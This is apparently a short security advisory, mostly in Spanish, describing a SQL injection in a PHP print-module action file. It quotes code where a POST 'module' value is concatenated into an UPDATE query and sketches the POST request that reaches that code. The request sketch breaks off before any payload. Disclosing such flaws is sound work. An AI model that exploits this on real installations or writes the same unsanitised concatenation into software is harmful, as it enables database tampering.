modules/stampe/actions.phpcase 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ Direct concatenation without prepare() sanitization
}
El parámetro module de los datos POST se concatena directamente en una consulta SQL de tipo UPDATE sin utilizar la función de saneamiento prepare(). Mientras que el parámetro predefined se valida con intval(), el parámetro module solo tiene una comprobación !empty(), que NO evita la inyección SQL.
Patrón vulnerable:
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// Line 26: Direct concatenation - VULNERABLE
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
POST /modules/stampe/actions.php
op=update
id_record=1
predefined=1 (must be non-zero after intval())
